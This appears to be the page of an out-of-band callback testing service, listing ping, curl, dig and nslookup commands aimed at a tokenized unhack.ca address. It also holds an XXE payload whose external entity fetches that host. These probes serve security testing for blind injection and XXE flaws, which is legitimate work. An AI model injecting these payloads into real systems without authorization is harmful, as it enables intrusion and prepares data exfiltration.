$ ping -c1 -p 000569afcbb6731920e4bbc633efad00 unhack.ca
 
$ curl http://unhack.ca/p/0569afcbb6731920e4bbc633efad
 
$ dig 0569afcbb6731920e4bbc633efad @unhack.ca
 
$ dig 0569afcbb6731920e4bbc633efad.ns.unhack.ca
 
C:\> nslookup 0569afcbb6731920e4bbc633efad unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0569afcbb6731920e4bbc633efad">]>
    <foo>&xxe;</foo>
Waiting for ping...